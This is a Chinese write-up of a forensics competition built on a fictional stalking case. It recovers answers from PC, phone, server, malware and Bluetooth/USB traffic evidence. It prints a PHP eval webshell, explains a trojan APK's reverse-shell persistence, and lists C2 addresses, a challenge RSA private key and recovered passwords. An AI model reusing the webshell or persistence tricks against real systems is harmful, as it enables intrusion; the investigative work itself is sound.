题目背景
爱而不得,进而由爱生恨。作为有黑客背景的他,激发出了强烈的占有欲,虽然不能在真实物理世界成为她的伴侣,但在虚拟世界里,他执着的要成为她的主宰,于是,我们的故事开始了……。手机,电脑,服务器,木马,AI,Iot设备……无一幸免的都成为他的作案工具或目标,但最终在诸位明察秋毫的取证达人面前,都无处遁形,作恶者终将被绳之以法。追悔莫及的他最后终于明白,其实真正的爱,不是占有,而是放手!!!!!
2025 年 4 月, 杭州滨江警方接到辖区内市民刘晓倩(倩倩)报案称: 其个人电子设备疑似遭人监控. 经初步调查, 警方发现倩倩的手机存在可疑后台活动, 手机可能存在被木马控制情况; 对倩倩计算机进行流量监控, 捕获可疑流量包. 遂启动电子数据取证程序.
警方通过对倩倩手机和恶意流量包的分析, 锁定一名化名”起早王”的本地男子. 经搜查其住所, 警方查扣一台个人电脑和服务器. 技术分析显示, 该服务器中存有与倩倩设备内同源的特制远控木马, 可实时窃取手机摄像头、手机通信记录等相关敏感文件. 进一步对服务器溯源, 发现”起早王”曾渗透其任职的科技公司购物网站, 获得公司服务器权限, 非法窃取商业数据并使用公司的服务器搭建 Trojan 服务并作为跳板机实施远控.
请你结合以上案例并根据相关检材, 完成下面的勘验工作.
检材下载和准备
下载链接:通过网盘分享的文件:2025平航杯密码:早起王的爱恋日记❤
链接: https://pan.baidu.com/s/1FxZzezPn9RMNegw2KyQH3A?pwd=6180 提取码: 6180
挂载/解压密码: 早起王的爱恋日记❤
用VeraCrypt挂载解压
内容

010查看 BLE 和 USBPcap 是两个流量包 加后缀.pcap
挂载磁盘windows.e01进行仿真
windows10的系统



计算机取证
1 .起早王的计算机插入过的 u 盘序列号(格式:1)
取证大师可以看到

F25550031111202
2,分析起早王的计算机检材,起早王的便签里有几条待干(格式:1)

五个
仿真后也可以看到

5
3.分析起早王的计算机检材,起早王的计算机默认浏览器是什么(格式:Google)
就这个浏览器访问最多

仿真也可以看到

Microsoft Edge
4.分析起早王的计算机检材,起早王在浏览器里看过什么小说(格式:十日终焉)

仿真也可以看到

道诡异仙
5.分析起早王的计算机检材,起早王计算机最后一次正常关机时间(格式:2020/1/1 01:01:01)

就这个是正常关机,后面都是异常
2025/4/10 11:15:29
6.分析起早王的计算机检材,起早王开始写日记的时间(格式:2020/1/1)
仿真里面有一个

日记看看目录

C:Sandbox起早王diarydriveCProgram Files (x86)RedNotebook
这个目录
往后面翻翻就可以发现了

这个也可以看到C/Sandbox/起早王/diary/user/current/.rednotebook/data/2025-03.txt


2025/3/3
7.分析起早王的计算机检材,SillyTavern中账户起早王的创建时间是什么时候(格式:2020/1/1 01:01:01)
搜索 SillyTavern

可以发现这个JS
search-ms:displayname=“此电脑”中的搜索结果&crumb=location:%3A%3A{20D04FE0-3AEA-1069-A2D8-08002B30309D}sillytavern-transformers"C:Users起早王wifewifenode_modulessillytavern-transformers"
可以发现这个路径
C:Users起早王wifewife

Start.bat 启动服务
密码可以在原来之前的日记里面翻到

qzwqzw114
进入后也可以发现硬盘密码

20240503LOVE
看用户设置

2025/3/10 18:44:56
8.分析起早王的计算机检材,SillyTavern中起早王用户下的聊天ai里有几个角色(格式:1)

4
9.分析起早王的计算机检材,SillyTavern中起早王与ai女友聊天所调用的语言模型(带文件后缀)(格式:xxxxx-xxxxxxx.xxxx)
看看聊天小倩就是AI女友
在磁盘里面搜索小倩
C:Users起早王wifewifedatadefault-userchats小倩

Tifa-DeepsexV2-7b-Cot-0222-Q8 这个搜索看看
deepseek

就是这个模型

Tifa-DeepsexV2-7b-Cot-0222-Q8.gguf
10.分析起早王的计算机检材,电脑中ai换脸界面的监听端口(格式:80)
第七题我们已经知道微软硬盘锁的密码
20240503LOVE
解开看看

可以看到AI换脸的文件,启动


发现端口
7860
11.分析起早王的计算机检材,电脑中图片文件有几个被换过脸(格式:1)
进入里面后可以发现输出路径


三个图片
3
12.分析起早王的计算机检材,最早被换脸的图片所使用的换脸模型是什么(带文件后缀)(格式:xxxxxxxxxxx.xxxx)
E:facefusion_3.1.10facefusion_3.1.1.jobscompleted


发现模型
这个也可以发现模型

inswapper_128_fp16.onnx
13.分析起早王的计算机检材,neo4j中数据存放的数据库的名称是什么(格式:abd.ef)
E 盘中可以看到 neo4j 数据库。

cmd neo4j.bat console 启动服务

需要密码进不去

在E盘的我的学习笔记可以发现东西看看



neo4j/secretqianqian

发现数据库名字
graph.db
14.分析起早王的计算机检材,neo4j数据库中总共存放了多少个节点(格式:1)

17088
15.分析起早王的计算机检材,neo4j数据库内白杰的手机号码是什么(格式:12345678901)
MATCH (n) WHERE n.name = "白杰" RETURN n;

13215346813
16.分析起早王的计算机检材,分析neo4j数据库内数据,统计在2025年4月7日至13日期间使用非授权设备登录且登录地点超出其注册时登记的两个以上城市的用户数量(格式:1)
MATCH (u:User)-[:HAS_LOGIN]->(l:Login)-[:FROM_IP]->(ip:IP)
MATCH (l)-[:USING_DEVICE]->(d:Device)
WHERE
l.time < datetime('2025-04-14')
AND ip.city <> u.reg_city
AND NOT (u)-[:TRUSTS]->(d)
WITH
u,
collect(DISTINCT ip.city) AS 异常登录城市列表,
collect(DISTINCT d.device_id) AS 未授权设备列表,
count(l) AS 异常登录次数
WHERE size(异常登录城市列表) > 2
RETURN
u.user_id AS 用户ID,
u.real_name AS 姓名,
异常登录城市列表,
未授权设备列表,
异常登录次数
ORDER BY 异常登录次数 DESC;

44
17.分析起早王的计算机检材,起早王的虚拟货币钱包的助记词的第8个是什么(格式:abandon)
日记可以发现

可以知道助记词藏在了输入法里面

draft
18.分析起早王的计算机检材,起早王的虚拟货币钱包是什么(格式:0x11111111)

chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/home.html#onboarding/metametrics
直接忘记密码


上一个题目获得的助词填上
flash treat wide divide type plug
garlic draft infant broom desert useful

登录进来了

发现地址
0xd8786a1345cA969C792d9328f8594981066482e9
19.分析起早王的计算机检材,起早王请高手为倩倩发行了虚拟货币,请问倩倩币的最大供应量是多少(格式:100qianqian)


进入了




1000000qianqian
20.分析起早王的计算机检材,起早王总共购买过多少倩倩币(格式:100qianqian)



521qianqian
21.分析起早王的计算机检材,起早王购买倩倩币的交易时间是(单位:UTC)(格式:2020/1/1 01:01:01)


2025/3/24 02:08:36
AI 题目
准备工作

在下载里面有crack.zip文件
安装 python 3.10,安装缺失的模块,而且需要安装PyArmor依赖
反正我无法进行启动,只能解密:下载工具:Release v0.2.2 (Devil’s Clinic) · Lil-House/Pyarmor-Static-Unpack-1shot
把 [pyarmor_runtime_000000] 和start.py放在解密工具的同级目录


打开解密后的start.py.1shot.cdc.pyu,找flag

1.分析crack文件,获得flag1(格式:flag1{123456})

flag1{you_are_so_smart}
2.分析crack文件,获得flag2(格式:flag2{123456})

flag2{prompt_is_easy}
3.分析crack文件,获得flag3(格式:flag3{123456})
flag3{no_question_can_kill_you}
4.分析crack文件,获得flag4(格式:flag4{123456})

flag4{You_have_mastered_the_AI}
手机取证
用20250415_181118.zip 和export-disk0-000002.vmdk

解压
20250415_181118.zip
1.该检材的备份提取时间(UTC)(格式:2020/1/1 01:01:01)
文件名字就是时间

2025/4/15 18:11:18
2.分析倩倩的手机检材,手机内Puzzle_Game拼图程序拼图APK中的Flag1是什么【格式:xxxxxxxxx】

Puzzle_Game.apk, 导出
逆向分析


找到加密函数
从代码中可以看到:
- 主解密方法:
AESUtil.decryptFlag()– 使用 AES 解密真正的 flag - 备用解密方法:
reDecryptor.decryptFlag()– 每5次尝试显示一次假 flag - 关键逻辑:
mDecryptAttempts % 5 == 0时显示假 flag- 其他时候显示真 flag
- 但真正的 flag 是通过后台线程加载的
解密脚本
# 简化版本
def simple_decrypt():
# 从代码中提取关键信息
key_bytes = bytes([113 ^ 6, 99 ^ 6, 92 ^ 6, 106 ^ 6, 89 ^ 6, 98 ^ 6, 54 ^ 6, 113 ^ 6,
104 ^ 6, 89 ^ 6, 117 ^ 6, 100 ^ 6, 113 ^ 6, 127 ^ 6, 124 ^ 6, 89 ^ 6])
# 根据hexStringToByteArray的fallback值
ciphertext = bytes([0x50, 0xCC, 0x04, 0x31, 0x35, 0x06, 0x80, 0xC3,
0x0A, 0x5E, 0xC5, 0x19, 0x52, 0x73, 0x6D, 0x0C])
print(f"Key: {key_bytes.hex()}")
print(f"Ciphertext: {ciphertext.hex()}")
# 实际上,通过分析代码,我发现这是一个AES-128 ECB解密
# 让我们直接使用cryptography库来解密
try:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
cipher = Cipher(algorithms.AES(key_bytes), modes.ECB(), backend=default_backend())
decryptor = cipher.decryptor()
decrypted = decryptor.update(ciphertext) + decryptor.finalize()
# 移除PKCS7填充
padding_len = decrypted[-1]
if padding_len <= 16:
flag = decrypted[:-padding_len].decode('utf-8')
print(f"Flag: {flag}")
else:
print(f"Decrypted (raw): {decrypted.hex()}")
print(f"Decrypted (text): {decrypted.decode('utf-8', errors='ignore')}")
except ImportError:
print("需要安装cryptography库: pip install cryptography")
print("或者直接运行完整脚本")
# 运行简化版本
simple_decrypt()

Key_1n_the_P1c
3.分析手机内Puzzle_Game拼图程序,请问最终拼成功的图片是哪所大学(格式:浙江大学)
把apk解压就可以看到图片


浙江中医药大学
4.分析倩倩的手机检材,木马app是怎么被安装的(网址)(格式:http://127.0.0.1:1234/))

可以看到是在浏览器下载的


所以答案就是
http://192.168.180.107:6262/
5.分析倩倩的手机检材,检材内的木马app的hash是什么(格式:大写md5)

cmd也行
certutil -hashfile fix2_sign.apk MD5

23A1527D704210B07B50161CFE79D2E8
6.木马 app 的应用名称

Google Service Framework
7..分析倩倩的手机检材,检材内的木马app的使用什么加固(格式:腾讯乐固)
JEB进行逆向分析

AppComponentFactory的实现类为com.SecShell.SecShell.AP梆梆加固的壳组件工厂类的典型特征就是以AP命名(对应梆梆加固的
com.secneo.apkwrapper.AP,这里是混淆后的类名);
存在com.SecShell.SecShell.AW类这是梆梆加固中壳的核心类(对应梆梆加固的com.secneo.apkwrapper.AW,同样是混淆后的名称)。
这两个类名是梆梆加固(Bangcle)的标志性壳类****
答案就是
梆梆加固
8.分析倩倩的手机检材,检材内的木马软件所关联到的ip和端口是什么(格式:127.0.0.1:1111)
APP脱壳
在线网站脱壳
56.al 默认密码是dump

然后进行apk反编译

92.67.33.56:8000
9.该木马app控制手机摄像头拍了几张照片(格式:1)
看看服务器export-disk0-000002.vmdk


3
10.木马APP被使用的摄像头为(格式:Camera)

Front Camera
11.分析倩倩的手机检材,木马APK通过调用什么api实现自身持久化(格式:JobStore)

这个jobScheduler类是该反向 Shell 木马实现持久化(自启动 / 后台保活)的核心组件之一,它通过调用**Android JobScheduler API**来维持自身在后台运行,具体逻辑和持久化方式如下:
1. 依赖的 API:Android JobScheduler
jobScheduler类继承自JobService,这是 Android JobScheduler 框架(Android 5.0 + 引入,对应 API 21+)的核心类。JobScheduler 的作用是:让应用在满足特定条件(如网络可用、设备充电中)时,自动在后台执行任务,即使应用被用户手动关闭,系统也可能重新调度该 Job,从而实现后台保活与持久化。
2. 该木马的持久化逻辑
这个jobScheduler类的核心是通过 JobScheduler 实现后台任务的循环调度,结合代码中的jumper.init()(反向 Shell 的初始化方法),实现木马的持久化:
- 当
onStartJob被调用时,启动后台线程执行doBackgroundWork; - 在后台线程中调用
jumper.init():初始化反向 Shell(连接远程控制端); - 任务完成后通过
jobFinished通知系统,若返回true则系统会重新调度该 Job(结合onStopJob返回true的配置),从而实现循环后台运行,避免被系统杀死。
3. 该木马的其他持久化手段(结合之前的 Manifest)
除了 JobScheduler,该木马还通过以下 API 实现多重持久化:
RECEIVE_BOOT_COMPLETED广播:监听设备开机完成事件,开机后自动启动服务;SCREEN_ON/SCREEN_OFF广播:监听屏幕状态变化,触发后台服务重启;WakeLock权限:保持 CPU 唤醒,防止后台任务被系统休眠策略杀死。
总结:这个木马通过Android JobScheduler API(JobService)实现后台任务的调度与保活,结合广播接收器、WakeLock 等手段,最终实现自身在设备上的持久化运行。
JobScheduler
12.分析倩倩的手机检材,根据倩倩的身份证号请问倩倩来自哪里(格式:北京市西城区)
在服务器里面发现

可以发现一个身份证的图片

310104200108110624

上海市徐汇区
13.此手机检材的IMEI号是多少(格式:1234567890)
找不到看看wp 莫有火眼取证

865372026366143
服务器取证
用到export-disk0-000002.vmdk镜像
1.该电脑最早的开机时间是什么(格式:2025/1/1 01:01:01)

2022/2/23 12:23:49
2.服务器操作系统内核版本(格式:1.1.1-123)
进行仿真可以看到

3.10.0-1160.119.1.el7.x86_643.除系统用户外,总共有多少个用户【格式:1】
cat /etc/passwd

3
4.分析起早王的服务器检材,Trojan服务器混淆流量所使用的域名是什么(格式:xxx.xxx)
在/root/trojan目录下面

wyzshop1.com
5.分析起早王的服务器检材,Trojan服务运行的模式为:
A、foward
B、nat
C、server
D、client
run_type 字段的值就是运行模式,但是被修改了,到 example 目录里面看一下


发现和nat模式是几乎一样的
B
6.关于 Trojan 服务器配置文件中配置的 remote_addr 和 remote_port 的作用,正确的是:
A. 代理流量转发到外部互联网服务器
B. 将流量转发到本地的 HTTP 服务(如Nginx)
C. 用于数据库连接
D. 加密流量解密后的目标地址

在 Trojan 服务器的配置文件中,remote_addr 和 remote_port 是核心配置项,核心作用是定义 Trojan 服务器接收到客户端流量后,要转发的目标地址和端口(也常被称为「后端地址 / 端口」「转发地址 / 端口」),是实现流量代理的关键。
一、核心作用拆解
remote_addr:转发目标的 IP / 域名
- 含义:指定 Trojan 服务器将客户端的加密流量解密后,转发到的目标服务器地址(可以是 IP 地址,也可以是域名)。
- 典型场景:
- 若用于科学上网,通常配置为
127.0.0.1(本地回环)—— 配合本地代理工具(如 Clash、V2Ray)或直接转发到外网网关; - 若用于反向代理(如隐藏真实服务地址),则配置为真实业务服务器的公网 IP / 域名(如
10.0.0.5、api.example.com); - 若 Trojan 服务器直接作为出口节点,也可配置为
0.0.0.0(接收所有地址转发)或外网 DNS 解析的目标地址。
- 若用于科学上网,通常配置为
remote_port:转发目标的端口
- 含义:指定 Trojan 服务器转发流量到
remote_addr对应的目标端口(TCP 端口,范围 1-65535)。 - 典型场景:
- 科学上网场景常配置为
80(HTTP)、443(HTTPS)—— 利用常见端口规避检测; - 反向代理场景配置为真实服务的端口(如
8080对应 Web 服务、22对应 SSH 服务); - 若转发到本地代理工具,可能配置为代理工具的监听端口(如
7890)。
- 科学上网场景常配置为
二、工作流程(结合 Trojan 核心逻辑)
- 客户端(如 Trojan-Go、Shadowrocket)将流量加密后,发送到 Trojan 服务器的监听端口(如 443);
- Trojan 服务器解密流量,根据
remote_addr和remote_port,将解密后的原始流量转发到指定的目标地址 + 端口; - 目标服务器处理流量后返回响应,Trojan 服务器再将响应加密后回传给客户端;
- 全程客户端与 Trojan 服务器之间的流量是加密的(模拟 TLS/HTTPS),而 Trojan 服务器与
remote_addr之间的流量是明文(或按需二次加密)。
三、常见配置示例(trojan-server.json)
{
"run_type": "server",
"local_addr": "0.0.0.0", // Trojan 服务器监听所有网卡
"local_port": 443, // Trojan 服务器监听 443 端口(伪装 HTTPS)
"remote_addr": "127.0.0.1", // 转发到本地回环地址
"remote_port": 7890, // 转发到本地 Clash 代理的 7890 端口
"password": ["your-password"],
"ssl": {
"cert": "/etc/trojan/cert.pem",
"key": "/etc/trojan/key.pem"
}
}
A
7.分析网站后台登录密码的加密逻辑,给出密码sbwyz1加密后存在数据库中的值(格式:1a2b3c4d)
服务器安装的有宝塔

网站构建

访问宝塔,添加自己的IP

进入网站文件的根目录

http://192.168.11.92/index.php/Admin/Admin/login.html
网站的后台

在/www/wwwroot/www.tpshop.com/application 可以看到加密的



所以算法是md5(“TPSHOP”+pwd)

f8537858eb0eabada34e7021d19974ea
8.网站后台显示的服务器GD版本是多少(格式:1.1.1 abc)
禁用了主机登录


用 tpshop2.0/40eca8bea9 这组用户名/口令登录.

我真服了为什么数据库消失了

只能看wp,发现他们是正常的
正常是进入数据库看到密码然后登录后台

2.1.0 compatible
9.网站后台中2016-04-01 00:00:00到2025-04-01 00:00:00订单列表有多少条记录(格式:1)

1292
10.在网站购物满多少免运费(格式:1)

100000
11.分析网站日志,成功在网站后台上传木马的攻击者IP是多少(格式:1.1.1.1)

就两个IP
只有是222.2.2.2是特殊的IP

还上传了一个peiai.php文件

一句话木马
222.2.2.2
12.攻击者插入的一句话木马文件的sha256值是多少(格式:大写sha256)
<?php @eval($_POST['peiqi'])?>

870BF66B4314A5567BD92142353189643B07963201076C5FC98150EF34CBC7CF
13.攻击者使用工具对内网进行扫描后,rdp扫描结果中的账号密码是什么(格式:abc:def)

可以看到扫描的工具
/www/wwwroot/www.tpshop.com/application/result.txt #可以看到扫描的结果

administrator:Aa123456@
14.对于每个用户,计算其注册时间(用户表中的注册时间戳)到首次下单时间(订单表中最早时间戳)的间隔,找出间隔最短的用户id。(格式:1)
因为不知道为什么我这个数据库什么也莫有,无法做所以涉及到这个数据库的我无法做,后面是别人的wp
SELECT u.user_id, MIN(o.create_time) - u.reg_time as time_diff
FROM tp_users u
JOIN tp_delivery_doc o ON u.user_id = o.user_id
GROUP BY u.user_id, u.email, u.reg_time
ORDER BY time_diff ASC
LIMIT 1;

180
15.统计每月订单数量,找出订单最多的月份(XXXX年XX月)
SELECT
EXTRACT(YEAR FROM FROM_UNIXTIME(o.create_time)) as year,
EXTRACT(MONTH FROM FROM_UNIXTIME(o.create_time)) as month,
COUNT(*) as order_count
FROM tp_delivery_doc o
GROUP BY year, month
ORDER BY order_count DESC
LIMIT 1;

2017年1月
16.找出连续三天内下单的用户并统计总共有多少个(格式:1)
SELECT
t1.user_id,
MIN(FROM_UNIXTIME(t1.add_time)) AS earliest_order_date
FROM
tp_order t1
WHERE EXISTS (
SELECT 1
FROM tp_order t2
WHERE t2.user_id = t1.user_id
AND FROM_UNIXTIME(t1.add_time) > FROM_UNIXTIME(t2.add_time)
AND DATEDIFF(FROM_UNIXTIME(t1.add_time), FROM_UNIXTIME(t2.add_time)) <= 3
)
GROUP BY
t1.user_id
ORDER BY
t1.user_id;

110
EXE 逆向(hint:运行后请多等一会)
1.分析GIFT.exe,该程序的md5是什么(格式:大写md5)
在计算机里面有倩倩的生日礼物就是文件


5A20B10792126FFA324B91E506F67223
2.GIFT.exe的使用的编程语言是什么(格式:C)


工具和云沙箱都可以看到东西Pyinstaller 打包
Python
3.解开得到的LOVE2.exe的编译时间(格式:2025/1/1 01:01:01)
先解包

拿到 gift_builder.pyc 是程序的核心代码 pycdc进行反编译


代码功能就是把 Base64 编码的 zlib 压缩后的 Zip 压缩包解压, 运行压缩包中的 exe 文件. 参考原始 python 代码, 拿到压缩包
密码:20010811
这个密码其实在服务器取证的时候就可以看到身份证就可以知道密码了
运行应用,请在虚拟机运行
然后应用进行查看



发现时间
2025/4/8 09:59:40
4.分析GIFT.exe,该病毒所关联到的ip和端口(格式:127.0.0.1:1111)
LOVE2.exe进行逆向
SHIFT+F12查找字符串可以发现IP和端口

虚拟机运行那个病毒就可以看到外联端口

46.95.185.222:6234
5.分析GIFT.exe,该病毒修改的壁纸md5(格式:大写md5)


733FC4483C0E7DB1C034BE5246DF5EC0
6.分析GIFT.exe,为对哪些后缀的文件进行加密:
A.doc
B.xlsx
C.jpg
D.png
E.ppt
在字符串可以发现文件后缀名字


发现加密文件后缀名字
ABE
7.分析GIFT.exe,病毒加密后的文件类型是什么(格式:DOCX文档)
直接运行虚拟机运行文件,放一个docx文档
可以发现文件后缀名字加密,右键属性就行可以看到

LOVE Encrypted File
8.壁纸似乎被隐形水印加密过了, 请找到其中的 Flag3
单图盲水印

flag3{20241224_Our_First_Meet}
9.分析GIFT.exe,病毒加密文件所使用的方法是什么(格式:Base64)
love.jpeg图片010查看发现RSA

RSA
10.分析GIFT.exe,请解密test.love得到flag4(格式:flag4{xxxxxxxx})
有私钥了直接脚本解密test.love
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
private_key_pem = """-----BEGIN RSA PRIVATE KEY-----
MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAjMqVpy4zP9cO5m/y
w0wmvdLzpUc4FNnUgpKJ26YimfDtA1cTZanNlxbmM25OTPsg2SaRUZdq7M3oGUel
gmRdFwIDAQABAkBYVtCZympLt0PZIQsAsWppltBbtxkgNCGcIBgx4sc5MT03erss
eyh2TqtQyO4aPYiOUUOWYw9hL4G6GFosXc+JAiEAvegkAhLXptnMlwCuwScK233w
cbBcxKWWPgZckdHkGPsCIQC9ynkuhrI4j2nc2eItr1NoU3Y1sfv0I601iNK1YXMJ
lQIgTYlomkgjMIagl865izdroW5sK578YXXSQATM6uStot0CIQCih1DNaiYXT6FN
sv0BOIKJ9edmRjxIr4C2NqyTDZfRHQIgUUhesxSUmNdc5QzckCAozLdPAlcAy7q+
k5ag7Oxp0r0=
-----END RSA PRIVATE KEY-----"""
# 尝试不同的私钥格式
try:
# 首先尝试直接加载
private_key = serialization.load_pem_private_key(
private_key_pem.encode(),
password=None,
backend=default_backend()
)
except ValueError as e:
print(f"直接加载失败: {e}")
print("n尝试添加/移除PKCS8头部...")
# 尝试添加PKCS8头部
pkcs8_key = private_key_pem.replace(
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----"
).replace(
"-----END RSA PRIVATE KEY-----",
"-----END PRIVATE KEY-----"
)
try:
private_key = serialization.load_pem_private_key(
pkcs8_key.encode(),
password=None,
backend=default_backend()
)
print("使用PKCS8格式成功加载私钥")
except ValueError as e2:
print(f"PKCS8格式也失败: {e2}")
print("n尝试使用旧的RSA格式...")
# 尝试使用RSA格式(PKCS1)
try:
# 移除PEM头部和尾部,直接解码DER
from cryptography.hazmat.primitives.asymmetric import rsa
import base64
# 提取base64内容
lines = private_key_pem.strip().split('n')[1:-1]
der_data = base64.b64decode(''.join(lines))
# 尝试解析为PKCS1
from cryptography.hazmat.primitives.serialization import load_der_private_key
private_key = load_der_private_key(der_data, password=None, backend=default_backend())
print("使用DER格式成功加载私钥")
except Exception as e3:
print(f"所有尝试都失败: {e3}")
raise
key_size_bytes = private_key.key_size // 8
print(f"密钥块大小: {key_size_bytes} bytes")
with open("test.love", "rb") as f:
ciphertext = f.read()
decrypted_blocks = []
for i in range(0, len(ciphertext), key_size_bytes):
block = ciphertext[i:i+key_size_bytes]
try:
# 优先尝试OAEP填充
decrypted = private_key.decrypt(
block,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA1()),
algorithm=hashes.SHA1(),
label=None
)
)
except:
try:
# 尝试PKCS1v15
decrypted = private_key.decrypt(
block,
padding.PKCS1v15()
)
except Exception as e:
print(f"解密第 {i//key_size_bytes} 块失败: {e}")
# 尝试直接使用原始数据(如果填充已被移除)
decrypted = block
decrypted_blocks.append(decrypted)
full_data = b''.join(decrypted_blocks)
# 保存原始二进制结果
with open("decrypted.bin", "wb") as f:
f.write(full_data)
print("解密完成 → decrypted.bin")
# 尝试UTF-8解码(可选)
try:
print("文本内容预览:", full_data[:500].decode('utf-8'))
except UnicodeDecodeError:
print("检测到二进制数据,请用HEX编辑器查看decrypted.bin")
# 显示前100字节的16进制
print("前100字节的HEX:", full_data[:100].hex())

解出是一个ppt

flag4{104864DF-C420-04BB5F51F267}
流量分析
1.请问侦查人员是用哪个接口进行抓到蓝牙数据包的(格式:DVI1-2.1)

COM3-3.6
2.起早王有一个用于伪装成倩倩耳机的蓝牙设备,该设备的原始设备名称为什么(格式:XXX_xxx 具体大小写按照原始内容)

伪装工具
Flipper_123all
3.起早王有一个用于伪装成倩倩耳机的蓝牙设备,该设备修改成耳机前后的大写MAC地址分别为多少(格式:32位小写md5(原MAC地址_修改后的MAC地址) ,例如md5(11:22:33:44:55:66_77:88:99:AA:BB:CC)=a29ca3983de0bdd739c97d1ce072a392 )
搜索:Flipper 123all

原MAC地址80:E1:26:33:32:31
QQ_WF_SP8OON是倩倩的蓝牙设备,flipper是起早王的设备

80:E1:26:33:32:31_52:00:52:10:13:14

97d79a5f219e6231f7456d307c8cac68
4.流量包中首次捕获到该伪装设备修改自身名称的UTC+0时间为?(格式:2024/03/07 01:02:03.123)
搜索找到第一个就行

2025/4/9 02:31:26.710
5.起早王中途还不断尝试使用自己的手机向倩倩电脑进行广播发包,请你找出起早王手机蓝牙的制造商数据(格式:0x0102030405060708)
一共就3设备名
Cracked
Flipper 123all
QQ_WF_SP8OON
Cracked是他手机

0x0701434839313430
6.起早王的真名是什么(格式:Cai_Xu_Kun 每个首字母均需大写 )
在USBPcap.pcap里面
用工具提取
python pcap2text.py USBPcap.pcap

Wang_Qi_Zhao
7.起早王对倩倩的电脑执行了几条cmd里的命令(格式:1 )

7
8.倩倩电脑中影子账户的账户名和密码为什么(格式:32位小写md5(账号名称_密码) ,例如md5(zhangsan_123456)=9dcaac0e4787b213fed42e5d78affc75 )
用ctf-neta 提取键盘流量

qianqianwoaini$_abcdefghijkImn

53af9cd5e53e237020bea0932a1cbdaa
9.起早王对倩倩的电脑执行的最后一条命令是什么(格式:32位小写md5(完整命令),例如md5(echo “qianqianwoaini” > woshiqizaowang.txt)=1bdb83cfbdf29d8c2177cc7a6e75bae2 )

rundll32 url.dll,FileProtocolHandler https://fakeupdate.net/win10ue/bsod.html

0566c1d6dd49db699d422db31fd1be8f






